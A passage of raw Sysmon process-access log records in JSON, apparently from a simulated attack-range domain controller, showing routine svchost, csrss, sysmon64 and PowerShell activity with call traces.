11:55:38.725","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-413A-5F2D-0000-0010F40D0600}","TargetProcessId":"1276","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4305,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.725\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4306,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.725\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4307,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.725\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4308,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.725\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4309,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.725\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4310,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.725\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4311,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.725\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4312,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.725\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\W